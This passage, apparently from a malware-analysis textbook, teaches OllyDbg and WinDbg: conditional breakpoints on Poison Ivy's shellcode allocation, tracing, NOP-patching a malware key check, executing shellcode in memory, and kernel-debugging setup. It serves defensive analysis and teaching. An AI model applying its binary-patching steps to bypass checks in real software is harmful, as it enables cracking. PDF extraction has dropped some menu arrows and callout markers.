Hardware breakpoint BreakpointHardware, on Execution

Memory breakpoint on access 
(read, write, or execute)

BreakpointMemory, on Access F2 
(select memory)

Memory breakpoint on write BreakpointMemory, on Write
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decoded for use. This method will identify only the strings the program uses 
as it uses them. Later in this chapter, we will discuss how to modify instruc-
tions to decode all of the strings at once.

Conditional Breakpoints
As you learned in the previous chapter, conditional breakpoints are software 
breakpoints that will break only if a certain condition is true. OllyDbg allows 
you to set conditional breakpoints using expressions; each time the software 
breakpoint is hit, the expression is evaluated. If the expression result is non-
zero, execution pauses.

WARNING Be careful when using conditional breakpoints. Setting one may cause your program to 
run much more slowly, and if you are incorrect about your condition, the program may 
never stop running.

Conditional software breakpoints can be particularly useful when you 
want to save time when trying to pause execution once a certain parameter is 
passed to a frequently called API function, as demonstrated in the following 
example.

You can use conditional breakpoints to detect memory allocations above 
a certain size. Consider Poison Ivy, a popular backdoor, which receives com-
mands through the Internet from a command-and-control server operated 
by an attacker. The commands are implemented in shellcode, and Poison Ivy 
allocates memory to house the shellcode it receives. However, most of the 
memory allocations performed in Poison Ivy are small and uninteresting, 
except when the command-and-control server sends a large quantity of shell-
code to be executed.

The best way to catch the Poison Ivy allocation for that shellcode is to set 
a conditional breakpoint at the VirtualAlloc function in Kernel32.dll. This is 
the API function that Poison Ivy uses to dynamically allocate memory; there-
fore, if you set a conditional breakpoint when the allocation size is greater 
than 100 bytes, the program will not pause when the smaller (and more fre-
quent) memory allocations occur.

To set our trap, we can begin by putting a standard breakpoint at the 
start of the VirtualAlloc function to run until the breakpoint is hit. Figure 9-7 
shows the stack window when a breakpoint is hit at the start of VirtualAlloc.

Figure 9-7: Stack window at the start of 
VirtualAlloc

The figure shows the top five items on the stack. The return address 
is first, followed by the four parameters (Address, Size, AllocationType, and 
Protect) for VirtualAlloc. The parameters are labeled next to their values and 
location in the stack. In this example, 0x29 bytes are to be allocated. Since 
the top of the stack is pointed to by the ESP register in order to access the 
Size field, we must reference it in memory as [ESP+8].
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Figure 9-8 shows the disassembler window when a breakpoint is hit at the 
start of VirtualAlloc. We set a conditional breakpoint when [ESP+8]>100, in 
order to catch Poison Ivy when it is about to receive a large amount of shell-
code. To set this conditional software breakpoint, follow these steps:

1. Right-click in the disassembler window on the first instruction of the 
function, and select BreakpointConditional. This brings up a dialog 
asking for the conditional expression.

2. Set the expression and click OK. In this example, use [ESP+8]>100.

3. Click Play and wait for the code to break.

Figure 9-8: Setting a conditional breakpoint in the 
disassembler window

Hardware Breakpoints
OllyDbg provides functionality for setting hardware breakpoints through the 
use of dedicated hardware registers, as described in Chapter 8.

Hardware breakpoints are powerful because they don’t alter your code, 
stack, or any target resource. They also don’t slow down execution speed. As 
we noted in the previous chapter, the problem with hardware breakpoints is 
that you can set only four at a time.

To set hardware breakpoints on an instruction, right-click that instruc-
tion and select BreakpointHardware, on Execution.

You can tell OllyDbg to use hardware breakpoints instead of software 
breakpoints by default by using the Debugging Options menu. You might do 
this in order to protect against certain anti-debugging techniques, such as 
software breakpoint scanning, as we’ll discuss in Chapter 16.

Memory Breakpoints
OllyDbg supports memory breakpoints, allowing you to set a breakpoint on a 
chunk of memory in order to have the code break on access to that memory. 
OllyDbg supports the use of software and hardware memory breakpoints, as 
well as the ability to specify whether you want it to break on read, write, exe-
cute, or any access.
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To set a basic memory breakpoint, select a portion of memory in the 
memory dump window or a section in the memory map, right-click it, and 
select BreakpointMemory, on Access. You can set only one memory break-
point at a time. The previously set memory breakpoint is removed if you set a 
new one.

OllyDbg implements software memory breakpoints by changing the attri-
butes of memory blocks containing your selection. However, this technique 
is not always reliable and can bring with it considerable overhead. Therefore, 
you should use memory breakpoints sparingly.

Memory breakpoints are particularly useful during malware analysis 
when you want to find out when a loaded DLL is used: you can use a memory 
breakpoint to pause execution as soon as code in the DLL is executed. To do 
this, follow these steps:

1. Bring up the Memory Map window and right-click the DLL’s .text sec-
tion (the section that contains the program’s executable code).

2. Select Set Memory Breakpoint on Access.

3. Press F9 or click the play button to resume execution.

The program should break when execution ends up in the DLL’s .text 
section.

Loading DLLs

In addition to being able to load and attach to executables, OllyDbg can also 
debug DLLs. However, since DLLs cannot be executed directly, OllyDbg uses 
a dummy program called loaddll.exe to load them. This technique is extremely 
useful, because malware often comes packaged as a DLL, with most of its 
code contained inside its DllMain function (the initialization function called 
when a DLL is loaded into a process). By default, OllyDbg breaks at the DLL 
entry point (DllMain) once the DLL is loaded.

Next, OllyDbg will pause, and you can call specific exports with arguments 
and debug them by selecting DebugCall DLL Export from the main menu.

For example, in Figure 9-10, we have loaded ws2_32.dll into OllyDbg and 
called the ntohl function at , which converts a 32-bit number from network 
to host byte order. On the left, we can add any arguments we need. Here, we 
add one argument, which is 127.0.0.1 (0x7F000001) in network byte order at . 
The boxes on the left are checked only where we are supplying arguments.

In order to call exported functions 
with arguments inside the debugged 
DLL, you first need to load the DLL with 
OllyDbg. Then, once it pauses at the 
DLL entry point, click the play button to 
run DllMain and any other initialization 
the DLL requires, as shown in Figure 9-9.

Figure 9-9: OllyDbg play button
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Figure 9-10: Calling DLL exports

You can quickly view the assembly instructions for ntohl by clicking the 
Follow in Disassembler button. The Hide on call checkbox on the bottom 
right can be used to hide this window after you perform a call. The Pause 
after call checkbox is useful for pausing execution immediately after the 
export is called, which can be a useful alternative to using breakpoints.

Once you have set up your arguments and any registers, click the Call 
button at the bottom right to force the call to take place. The OllyDbg win-
dow should then show the value of all registers before and after the call.

To debug this exported function, be sure to set any breakpoints before 
clicking Call, or check the Pause after call checkbox. In Figure 9-10, you see 
the result of the function stored in EAX, which is 127.0.0.1 (0x0100007F) in 
host byte order shown at .

Tracing

Tracing is a powerful debugging technique that records detailed execution 
information for you to examine. OllyDbg supports a variety of tracing fea-
tures, including the standard back trace, call stack trace, and run trace.

Standard Back Trace
Any time you are moving through the disassembler window with the Step 
Into and Step Over options, OllyDbg is recording that movement. You can 
use the minus () key on your keyboard to move back in time and see the 
instructions you previously executed. The plus () key will take you forward. 
If you used Step Into, you can trace each step taken. If you used Step Over, 

�

�
�
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you can step in only the areas that you stepped on before; you can’t go back 
and then decide to step into another area.

Call Stack
You can use OllyDbg to view the execution path to a given function via a call 
stack trace. To view a call stack, select ViewCall Stack from the main menu. 
You will see a window displaying the sequence of calls taken to reach your 
current location.

To walk the call stack, click the Address or Called From sections of the 
Call Stack window. The registers and stack will not show what was going on 
when you were at that location, unless you are performing a run trace.

Run Trace
A run trace allows you to execute code and have OllyDbg save every executed 
instruction and all changes made to the registers and flags.

There are several ways to activate run tracing:

 Highlight the code you wish to trace in the disassembler window, right-
click it, and select Run TraceAdd Selection. After execution of that 
code, select ViewRun Trace to see the instructions that were exe-
cuted. Use the  and + keys on your keyboard to navigate the code 
(as discussed in “Standard Back Trace” on page 192). With this method, 
you’ll see the changes that occurred to every register for each instruction 
as you navigate.

 Use the Trace Into and Trace Over options. These options may be easier 
to use than Add Selection, because you don’t need to select the code you 
wish to trace. Trace Into will step into and record all instructions that 
execute until a breakpoint is hit. Trace Over will record only the instruc-
tions that occur in the current function you are executing.

WARNING If you use the Trace Into and Trace Over options without setting a breakpoint, OllyDbg 
will attempt to trace the entire program, which could take a long time and consume a 
lot of memory.

 Select DebugSet Condition. You can trace until a condition hits, caus-
ing the program to pause. This is useful when you want to stop tracing 
when a condition occurs, and back trace from that location to see how or 
why it occurred. You’ll see an example of this usage in the next section.

Tracing Poison Ivy
Recall from our earlier discussion that the Poison Ivy backdoor often allo-
cates memory for shellcode that it receives from its command-and-control 
server. Poison Ivy downloads the shellcode, copies it to the dynamically allo-
cated location, and executes it. In some cases, you can use tracing to catch 
that shellcode execution when EIP is in the heap. The trace can show you 
how the shellcode started.
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Figure 9-11 shows the condition we set to catch Poison Ivy’s heap execu-
tion. We set OllyDbg to pause when EIP is less than the typical image location 
(0x400000, below which the stack, heap, and other dynamically allocated 
memory are typically located in simple programs). EIP should not be in these 
locations in a normal program. Next, we select Trace Into, and the entire 
program should be traced until the shellcode is about to be executed.

In this case, the program pauses when EIP is 0x142A88, the start of the 
shellcode. We can use the - key to navigate backward and see how the shell-
code was executed.

Figure 9-11: Conditional tracing

Exception Handling

By default, when an exception occurs while OllyDbg is attached, the program 
stops executing and the debugger is given control first. The debugger can 
handle the exception or pass it to the program. OllyDbg will pause execution 
when the exception happens, and you can decide to pass the exception to 
the program with one of the following:

 SHIFT-F7 will step into the exception.

 SHIFT-F8 will step over it.

 SHIFT-F9 will run the exception handler.

OllyDbg has options for handling exceptions, as shown in Figure 9-12. 
These options can tell the debugger to ignore certain exceptions and pass 
them directly to the program. (It is often a good idea to ignore all exceptions 
during malware analysis, because you are not debugging the program in 
order to fix problems.)
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Figure 9-12: Exception handling options in OllyDbg

Patching

OllyDbg makes it easy to modify just about any live data, such as registers and 
flags. It also enables you to assemble and patch code directly into a program. 
You can modify instructions or memory by highlighting a region, right-
clicking that region, and selecting BinaryEdit. This will pop up a window 
for you to add any opcodes or data. (OllyDbg also has special functions to fill 
with 00 entries, or NOP instructions.)

Figure 9-13 shows a section of code from a password-protected piece of 
malware that requires that a special key be input in order to configure the 
malware. We see an important check and conditional jump (JNZ) at  decide 
if the key is accepted. If the jump is taken, Bad key will be printed; otherwise, 
it will print Key Accepted!. A simple way to force the program to go the key-
accepted route is to apply a patch. As shown in Figure 9-13, highlight the 
conditional jump instruction, right-click, and select BinaryFill with NOPs, 
as at . This will change the JNZ instruction to NOPs, and the program will 
think that a key has been accepted.

Figure 9-13: Patching options in OllyDbg

Note that the patch is in live memory only for this instance of the pro-
cess. We can take the patching a step further by copying the change out to an 
executable. This is a two-step process, as outlined in Figure 9-14.

�

�
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Figure 9-14: Two-step process for copying a live memory patch to an executable on disk

To apply this change, right-click the disassembler window where you 
patched the code and select Copy to ExecutableAll Modifications as shown 
at . This will copy all changes you have made in live memory and pop up 
a new window, as shown at the bottom of Figure 9-14. Select Save File, as 
shown at , to save it to disk.

Notice that Figure 9-14 contains the same code as Figure 9-13, except the 
JNZ instruction has been replaced by two NOP instructions. This procedure 
would permanently store NOPs at that location in the executable on disk, 
meaning that any key will be accepted by the malware permanently. This 
technique can be useful when you wish to permanently modify a piece of 
malware in order to make it easier to analyze.

Analyzing Shellcode

OllyDbg has an easy (if undocumented) way to analyze shellcode. Follow 
these steps to use this approach:

1. Copy shellcode from a hex editor to the clipboard.

2. Within the memory map, select a memory region whose type is Priv. 
(This is private memory assigned to the process, as opposed to the read-
only executable images that are shared among multiple processes.)

3. Double-click rows in the memory map to bring up a hex dump so you 
can examine the contents. This region should contain a few hundred 
bytes of contiguous zero bytes.

4. Right-click the chosen region in the Memory Map window, and select 
Set AccessFull Access to give the region read, write, and execute 
permissions.

5. Return to the memory dump window. Highlight a region of zero-filled 
bytes large enough for the entire shellcode to fit, right-click the selec-
tion, and select BinaryBinary Paste. This will paste the shellcode to the 
selected region.

6. Set the EIP register to the location of the memory you modified. (You 
can easily set the EIP register by right-clicking an instruction in the dis-
assembler window and selecting New Origin Here.)

�
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Now you can run, debug, and single-step through the shellcode, just as 
you would a normal program.

Assistance Features

OllyDbg provides many mechanisms to help with analysis, including the 
following:

Logging OllyDbg keeps a log of events constantly available. To access 
them, select ViewLog. This log shows which executable modules were 
loaded, which breakpoints were hit, and other information. The log can 
be useful during your analysis to figure out which steps you took to get to 
a certain state.

Watches window OllyDbg supports the use of a Watches window, which 
allows you to watch the value of an expression that you generate. This 
expression is constantly updated in this window, which can be accessed 
by selecting ViewWatches. You can set an expression in the Watches 
window by pressing the spacebar.

Help The OllyDbg HelpContents option provides a detailed set of 
instructions for writing expressions under Evaluation of Expressions. 
This is useful if you need to monitor a specific piece of data or compli-
cated function. For example, if you wanted to monitor the memory loca-
tion of EAX+ESP+4, you would enter the expression [EAX+ESP+4].

Labeling As with IDA Pro, you can label subroutines and loops in 
OllyDbg. A label in OllyDbg is simply a symbolic name that is assigned to 
an address of the debugged program. To set a label in the disassembler 
window, right-click an address and select Label. This will pop up a win-
dow, prompting you for a label name. All references to this location will 
now use this label instead of the address. Figure 9-15 shows an example 
of adding the label password_loop. Notice how the name reference at 
0x401141 changes to reflect the new name.

Figure 9-15: Setting a label in OllyDbg

Plug-ins

OllyDbg has standard plug-ins and many additional ones available for down-
load. You’ll find a decent collection of OllyDbg plug-ins that are useful for 
malware analysis at http://www.openrce.org/downloads/browse/OllyDbg_Plugins.

OllyDbg plug-ins come as DLLs that you place in the root OllyDbg install 
directory. Once in that directory, the plug-ins should be recognized automat-
ically and added to the Plugins menu.
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NOTE Writing plug-ins in OllyDbg can be a tedious process. If you wish to extend the func-
tionality of OllyDbg, we recommend writing Python scripts, as described later in the 
chapter, in “Scriptable Debugging” on page 200.

OllyDump
OllyDump is the most commonly used OllyDbg plug-in because it provides 
the ability to dump a debugged process to a PE file. OllyDump tries to reverse 
the process that the loader performed when it loaded the executable; how-
ever, it will use the current state of the various sections (code, data, and so 
on) as they exist in memory. (This plug-in is typically used for unpacking, 
which we’ll discuss extensively in Chapter 18.)

Figure 9-16 shows the OllyDump window. When dumping, you can man-
ually set the entry point and the offsets of the sections, although we recom-
mend that you let OllyDbg do this for you automatically.

Figure 9-16: OllyDump plug-in window

Hide Debugger
The Hide Debugger plug-in employs a number of methods to hide OllyDbg 
from debugger detection. Many malware analysts run this plug-in all the 
time, just in case the malware employs anti-debugging.

This plug-in specifically protects against IsDebuggerPresent checks, 
FindWindow checks, unhandled exception tricks, and the OuputDebugString 
exploit against OllyDbg. (We discuss anti-debugging techniques in 
Chapter 16.)

Command Line
The Command Line plug-in allows you to have command-line access to 
OllyDbg. The command line can create a WinDbg-like experience, although 
not many users of OllyDbg take advantage of it. (The WinDbg debugger is 
discussed in the next chapter.)
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To activate the command-line window, select PluginsCommand Line
Command Line. Table 9-3 shows the list of common commands. Additional 
commands can be found in the help file that comes with the Command Line 
plug-in.

When debugging, you will often want to break execution at the start of 
an imported function in order to see the parameters being passed to that 
function. You can use the command line to quickly set a breakpoint at the 
start of an imported function.

In the example in Figure 9-17, we have a piece of malware with strings 
obfuscated; however, it has an import of gethostbyname. As shown in the fig-
ure, we execute the command bp gethostbyname at the command line, which 
sets a breakpoint at the start of the gethostbyname function. After we set the 
breakpoint, we run the program, and it breaks at the start of gethostbyname. 
Looking at the parameters, we see the hostname it intends to resolve 
(malwareanalysisbook.com in this example).

Figure 9-17: Using the command line to quickly set breakpoints

Bookmarks
The Bookmarks plug-in is included by default in OllyDbg. It enables you to 
add bookmarks of memory locations, so that you can get to them easily in the 
future without needing to remember the addresses.

Table 9-3: Commands for the OllyDbg Command Line

Command Function

BP expression [,condition] Set software breakpoint

BC expression Remove breakpoint

HW expression Set hardware breakpoint on execution

BPX label Set breakpoint on each call to label

STOP or PAUSE Pause execution

RUN Run program

G [expression] Run until address

S Step into

SO Step over

D expression Dump memory
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To add a bookmark, right-click in the disassembler window and 
select BookmarkInsert Bookmark. To view bookmarks, select Plugins
BookmarksBookmarks, and then click any of your bookmarks to go to 
that location.

Scriptable Debugging

Since OllyDbg plug-ins are compiled into DLLs, creating or modifying a 
plug-in tends to be an involved process. Therefore, when extending func-
tionality, we employ ImmDbg, which employs Python scripts and has an 
easy-to-use API.

ImmDbg’s Python API includes many utilities and functions. For example, 
you can integrate your scripts into the debugger as native code in order to 
create custom tables, graphs, and interfaces of all sorts. Popular reasons to 
write scripts for malware analysis include anti-debugger patching, inline 
function hooking, and function parameter logging—many of which can be 
found on the Internet.

The most common type of Python script written for ImmDbg is known as 
a PyCommand. This is a Python script located in the PyCommands\ directory in 
the install location of ImmDbg. After you write a script, you must copy it to 
this directory to be able to run it. These Python commands can be executed 
from the command bar with a preceding !. For a list of available PyCommands, 
enter !list at the command line.

PyCommands have the following structure:

 A number of import statements can be used to import Python modules 
(as in any Python script). The functionality of ImmDbg itself is accessed 
through the immlib or immutils module.

 A main function reads the command-line arguments (passed in as a 
Python list).

 Code implements the actions of the PyCommand.

 A return contains a string. Once the script finishes execution, the main 
debugger status bar will be updated with this string.

The code in Listing 9-3 shows a simple script implemented as a 
PyCommand. This script can be used to prevent malware from deleting 
a file from the system.

import immlib

def Patch_DeleteFileA(imm): 
    delfileAddress = imm.getAddress("kernel32.DeleteFileA")
    if (delfileAddress <= 0):
        imm.log("No DeleteFile to patch")
        return
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    imm.log("Patching DeleteFileA")
    patch = imm.assemble("XOR EAX, EAX \n Ret 4") 
    imm.writeMemory(delfileAddress, patch)

def main(args): 
    imm = immlib.Debugger()
    Patch_DeleteFileA(imm)
    return "DeleteFileA is patched..."

Listing 9-3: PyCommand script to neuter DeleteFile

Malware often calls DeleteFile to remove files from the system before 
you can copy them to another location. If you run this script via !scriptname, 
it will patch the DeleteFileA function, rendering it useless. The main method 
defined at  calls Patch_DeleteFileA. This is a function we have defined at  
that returns the address of DeleteFileA by calling the ImmDbg API function 
getAddress. Once we have that location, we can overwrite the function with 
our own code. In this case, we overwrite it with the patch code at . This 
code sets EAX to 0 and returns from the DeleteFileA call. This patch will 
cause DeleteFile to always fail, thus preventing the malware from being able 
to remove files from the system.

For additional information about writing Python scripts, use the Python 
command scripts that ImmDbg has built for reference. For further in-depth 
commentary on writing Python scripts for ImmDbg, see Gray Hat Python by 
Justin Seitz (No Starch Press, 2009).

Conclusion

OllyDbg is the most popular user-mode debugger for malware analysis and 
has many features to help you perform dynamic malware analysis. As you’ve 
seen, its rich interface provides a lot of information about debugged mal-
ware. For example, the memory map is a great way to see how a program is 
laid out in memory and to view all of its memory sections.

Many types of breakpoints in OllyDbg are useful, including conditional 
breakpoints, which are used to break on the parameters of function calls or 
when a program accesses a particular region of memory. OllyDbg can modify 
running binaries in order to force a behavior that may not normally occur, 
and you can permanently save modifications made to a binary on disk. 
Plug-ins and scriptable debugging can be used to extend the functionality 
of OllyDbg to provide benefits beyond its built-in features.

While OllyDbg is the most popular user-mode debugger, the next chap-
ter focuses on the most popular kernel-mode debugger: WinDbg. Since 
OllyDbg can’t debug kernel-mode malware such as rootkits and device drivers, 
you should become familiar with WinDbg if you want to dynamically analyze 
malware of this type.
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L A B S
Lab 9-1

Analyze the malware found in the file Lab09-01.exe using OllyDbg and IDA 
Pro to answer the following questions. This malware was initially analyzed in 
the Chapter 3 labs using basic static and dynamic analysis techniques.

Questions

1. How can you get this malware to install itself?

2. What are the command-line options for this program? What is the pass-
word requirement?

3. How can you use OllyDbg to permanently patch this malware, so that it 
doesn’t require the special command-line password?

4. What are the host-based indicators of this malware?

5. What are the different actions this malware can be instructed to take via 
the network?

6. Are there any useful network-based signatures for this malware?

Lab 9-2

Analyze the malware found in the file Lab09-02.exe using OllyDbg to answer 
the following questions.

Questions

1. What strings do you see statically in the binary?

2. What happens when you run this binary?

3. How can you get this sample to run its malicious payload?

4. What is happening at 0x00401133?

5. What arguments are being passed to subroutine 0x00401089?

6. What domain name does this malware use?

7. What encoding routine is being used to obfuscate the domain name?

8. What is the significance of the CreateProcessA call at 0x0040106E?
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Lab 9-3

Analyze the malware found in the file Lab09-03.exe using OllyDbg and IDA Pro. 
This malware loads three included DLLs (DLL1.dll, DLL2.dll, and DLL3.dll) 
that are all built to request the same memory load location. Therefore, when 
viewing these DLLs in OllyDbg versus IDA Pro, code may appear at different 
memory locations. The purpose of this lab is to make you comfortable with 
finding the correct location of code within IDA Pro when you are looking at 
code in OllyDbg.

Questions

1. What DLLs are imported by Lab09-03.exe?

2. What is the base address requested by DLL1.dll, DLL2.dll, and DLL3.dll?

3. When you use OllyDbg to debug Lab09-03.exe, what is the assigned based 
address for: DLL1.dll, DLL2.dll, and DLL3.dll?

4. When Lab09-03.exe calls an import function from DLL1.dll, what does 
this import function do?

5. When Lab09-03.exe calls WriteFile, what is the filename it writes to?

6. When Lab09-03.exe creates a job using NetScheduleJobAdd, where does it get 
the data for the second parameter?

7. While running or debugging the program, you will see that it prints out 
three pieces of mystery data. What are the following: DLL 1 mystery 
data 1, DLL 2 mystery data 2, and DLL 3 mystery data 3?

8. How can you load DLL2.dll into IDA Pro so that it matches the load 
address used by OllyDbg?
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K E R N E L  D E B U G G I N G  W I T H  
W I N D B G

WinDbg (often pronounced “Windbag”) is a free 
debugger from Microsoft. While not as popular as 
OllyDbg for malware analysis, WinDbg has many 
advantages, the most significant of which is kernel 
debugging. This chapter explores ways to use WinDbg 
for kernel debugging and rootkit analysis.

WinDbg does support user-mode debugging, and much of the informa-
tion in this chapter is applicable to user mode and kernel mode, but we will 
focus on kernel mode because most malware analysts use OllyDbg for user-
mode debugging. WinDbg also has useful features for monitoring interac-
tions with Windows, as well as extensive help files.



Drivers and Kernel Code

Before we begin debugging malicious kernel code, you need to understand 
how kernel code works, why malware writers use it, and some of the unique 
challenges it presents. Windows device drivers, more commonly referred to 
simply as drivers, allow third-party developers to run code in the Windows 
kernel.

Drivers are difficult to analyze because they load into memory, stay resi-
dent, and respond to requests from applications. This is further complicated 
because applications do not directly interact with kernel drivers. Instead, 
they access device objects, which send requests to particular devices. Devices 
are not necessarily physical hardware components; the driver creates and 
destroys devices, which can be accessed from user space.

For example, consider a USB flash drive. A driver on the system handles 
USB flash drives, but an application does not make requests directly to that 
driver; it makes requests to a specific device object instead. When the user 
plugs the USB flash drive into the computer, Windows creates the “F: drive” 
device object for that drive. An application can now make requests to the F: 
drive, which ultimately will be sent to the driver for USB flash drives. The 
same driver might handle requests for a second USB flash drive, but applica-
tions would access it through a different device object such as the G: drive.

In order for this system to work properly, drivers must be loaded into the 
kernel, just as DLLs are loaded into processes. When a driver is first loaded, 
its DriverEntry procedure is called, similar to DLLMain for DLLs.

Unlike DLLs, which expose functionality through the export table, 
drivers must register the address for callback functions, which will be called 
when a user-space software component requests a service. The registration 
happens in the DriverEntry routine. Windows creates a driver object structure, 
which is passed to the DriverEntry routine. The DriverEntry routine is respon-
sible for filling this structure in with its callback functions. The DriverEntry 
routine then creates a device that can be accessed from user space, and the 
user-space application interacts with the driver by sending requests to that 
device.

Consider a read request from a program in user space. This request will 
eventually be routed to a driver that manages the hardware that stores the 
data to be read. The user-mode application first obtains a file handle to this 
device, and then calls ReadFile on that handle. The kernel will process the 
ReadFile request, and eventually invoke the driver’s callback function respon-
sible for handling read I/O requests.

The most commonly encountered request for a malicious kernel compo-
nent is DeviceIoControl, which is a generic request from a user-space module 
to a device managed by a driver. The user-space program passes an arbitrary 
length buffer of data as input and receives an arbitrary length buffer of data 
as output.

Calls from a user-mode application to a kernel-mode driver are difficult to 
trace because of all the OS code that supports the call. By way of illustration, 
Figure 10-1 shows how a request from a user-mode application eventually 
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reaches a kernel-mode driver. Requests originate from a user-mode program 
and eventually reach the kernel. Some requests are sent to drivers that con-
trol hardware; others affect only the internal kernel state.

Figure 10-1: How user-mode calls are handled by the kernel

NOTE Some kernel-mode malware has no significant user-mode component. It creates no 
device object, and the kernel-mode driver executes on its own.

Malicious drivers generally do not usually control hardware; instead, 
they interact with the main Windows kernel components, ntoskrnl.exe and 
hal.dll. The ntoskrnl.exe component has the code for the core OS functions, 
and hal.dll has the code for interacting with the main hardware components. 
Malware will often import functions from one or both of these files in order 
to manipulate the kernel.

Setting Up Kernel Debugging

Debugging in the kernel is more complicated than debugging a user-space 
program because when the kernel is being debugged, the OS is frozen, and 
it’s impossible to run a debugger. Therefore, the most common way to debug 
the kernel is with VMware.

Unlike user-mode debugging, kernel debugging requires a certain 
amount of initial setup. You will need to set up the virtual machine to enable 
kernel debugging, configure VMware to enable a virtual serial port between 
the virtual machine and the host, and configure WinDbg on the host machine.

You will need to set up the virtual machine by editing the normally hid-
den C:\boot.ini file. (Be sure that your folder options are set to show hidden 
files.) Before you start editing the boot.ini file, take a snapshot of your virtual 
machine. If you make a mistake and corrupt the file, you can revert to the 
snapshot.

MaliciousProgram.exe

Kernel32.dll

Ntdll.dll

Ntoskrnl.exe

Kernel Data Structures

Kernel Mode

Hardware

MaliciousDriver.sys

Other Drivers
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Listing 10-1 shows a Windows boot.ini with a line added to enable kernel 
debugging.

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]

 multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional"
/noexecute=optin /fastdetect

 multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional with Kernel
Debugging" /noexecute=optin /fastdetect /debug /debugport=COM1 /baudrate=115200

Listing 10-1: Sample boot.ini file modified to enable kernel debugging

The line at  specifies the OS to load—Windows XP in this case. The 
line at  is added to enable kernel debugging. Your version of boot.ini will 
likely contain only a line similar to .

Copy the last line of your boot.ini file and add another entry. The 
line should be the same except that you should add the options /debug 
/debugport=COM1 /baudrate=115200. (Don’t worry about the other elements 
on the line such as multi(0)disk(0); simply copy the line exactly and add the 
extra options.) The /debug flag enables kernel debugging, the /debugport=COM1 
tells the OS which port will connect the debugged machine to the debugging 
machine, and the baudrate=115200 specifies the speed of the connection. In 
our case, we’ll be using a virtual COM port created by VMware. You should 
also change the name of Windows in the second entry so that you can recog-
nize the option later. In our case, we have named the second entry Microsoft 
Windows XP Professional with Kernel Debugging.

The next time you boot your virtual machine, you should be given the 
option to boot the debugger-enabled version of the OS. The boot loader will 
give you 30 seconds to decide whether you want to boot up with debugging 
enabled. Each time you boot, you must choose the debugger-enabled version 
if you want to be able to connect a kernel debugger.

NOTE Simply because you start the OS with the debugger enabled does not mean that you are 
required to attach a debugger. The OS should run fine without a debugger attached.

Next, we configure VMware to create a virtual connection between the 
virtual machine and the host OS. To do so, we’ll use a serial port on a named 
pipe on the host by adding a new device. Follow these steps to add a new 
device:

1. Click VMSettings to open the VMWare Settings dialog.

2. In the Settings dialog, click the Add button on the lower right, and 
then select Serial Port in the window containing the types of devices.

3. In the dialog requesting the type of serial port, select Output to 
Named Pipe.
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4. At the next window, enter \\.\pipe\com_1 for the name of the socket and 
select This end is the server and The other end is an application. Once 
you’ve finished adding the serial port, the virtual machine settings 
should show a serial port device configured as shown in Figure 10-2.

5. Check the box labeled Yield CPU on poll.

NOTE The exact sequence of windows and dialog boxes differs between versions of VMware. 
The instructions here are specific to VMware Workstation 7. The settings should be the 
same for other versions, but the windows and dialogs to configure the settings will differ 
slightly.

Figure 10-2: Adding a serial port to a virtual machine

After you’ve configured the virtual machine, start it. Use the following 
steps on the host machine to use WinDbg to connect to the virtual machine 
and start debugging the kernel.

1. Launch WinDbg. 

2. Select FileKernel Debug, click the COM tab, and enter the filename 
and baud rate that you set before in the boot.ini file—115200 in our case. 
Make sure the Pipe checkbox is checked before selecting OK. Your win-
dow should look like Figure 10-3.
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Figure 10-3: Starting a kernel debugging session 
with WinDbg

If the virtual machine is running, the debugger should connect within a 
few seconds. If it is not running, the debugger will wait until the OS boots, 
and then connect during the boot process. Once the debugger connects, 
consider enabling verbose output while kernel debugging, so that you’ll get a 
more complete picture of what is happening. With verbose output, you will 
be notified each time a driver is loaded or unloaded. This can help you iden-
tify a malicious driver in some cases.

Using WinDbg

WinDbg uses a command-line interface for most of its functionality. We will 
cover the more important commands here. You can browse the complete list 
of commands in the WinDbg Help menu.

Reading from Memory
WinDbg’s memory window supports memory browsing directly from the 
command line. The d command is used to read locations in memory such 
as program data or the stack, with the following basic syntax:

dx addressToRead

where x is one of several options for how the data will be displayed. 
Table 10-1 shows the most common ways that data can be displayed.

Table 10-1: WinDbg Reading Options

Option Description

da Reads from memory and displays it as ASCII text

du Reads from memory and displays it as Unicode text

dd Reads from memory and displays it as 32-bit double words
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For example, to display a string at offset 0x401020, you would use the 
command da 0x401020.

The e command is used in the same way to change memory values. It 
uses the following syntax:

ex addressToWrite dataToWrite

The x values are the same values used by the dx commands. You’ll find 
many additional options documented in the help files.

Using Arithmetic Operators
You can perform operations on memory and registers directly from the com-
mand line using simple arithmetic operations, such as addition (+), subtrac-
tion (-), multiplication (*), and division (/). Command-line options are 
useful as shortcuts and when trying to create expressions for conditional 
breakpoints.

The dwo command is used to dereference a 32-bit pointer and see the 
value at that location. For example, if you are at a breakpoint for a function 
and the first argument is a wide character string, you can view the string with 
this command:

du dwo (esp+4)

The esp+4 is the location of the argument. The dwo operator identifies the 
location of the pointer for the string, and du tells WinDbg to display the wide 
character string at that location.

Setting Breakpoints
The bp command is used to set basic breakpoints in WinDbg. You can also 
specify commands to be run automatically when a breakpoint is hit prior to 
control being passed to the user. This is used with the go (g) command, so 
that the breakpoint performs an action and then continues without waiting 
for the user. For example, the following command will print out the second 
argument every time the GetProcAddress function is called without actually 
stopping the program’s execution.

bp GetProcAddress "da dwo(esp+8); g"

The example will print the function name being requested for every call 
to GetProcAddress. This is a useful feature because the breakpoint will be exe-
cuted much faster than if it returned control to the user and waited for the 
user to issue the command. The command string can become fairly sophisti-
cated with support for conditional statements, such as .if statements and 
.while loops. WinDbg supports scripts that use these commands.
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NOTE Commands sometimes attempt to access invalid memory locations. For example, the sec-
ond argument to GetProcAddress can be either a string or an ordinal number. If the 
argument is an ordinal number, WinDbg will try to dereference an invalid memory 
location. Luckily, it won’t crash and will simply print ???? as the value at that 
address.

Listing Modules
WinDbg does not have a feature similar to OllyDbg’s memory map that lays 
out all the memory segments and loaded modules. Alternatively, WinDbg’s 
lm command will list all the modules loaded into a process, including the exe-
cutables and DLLs in user space and the kernel drivers in kernel mode. The 
starting address and ending address for each module are listed as well.

Microsoft Symbols

Debugging symbols provide limited information from the source code to 
help understand assembly code. The symbols provided by Microsoft contain 
names for certain functions and variables.

A symbol in this context is simply a name for a particular memory address. 
Most symbols provide a name for addresses that represent functions, but some 
provide a name for addresses that represent data addresses. For example, 
without symbol information, the function at address 8050f1a2 will not be 
labeled. If you have symbol information configured, WinDbg will tell you 
that the function is named MmCreateProcessAddressSpace (assuming that was the 
name of the function at that address). With just an address, you wouldn’t 
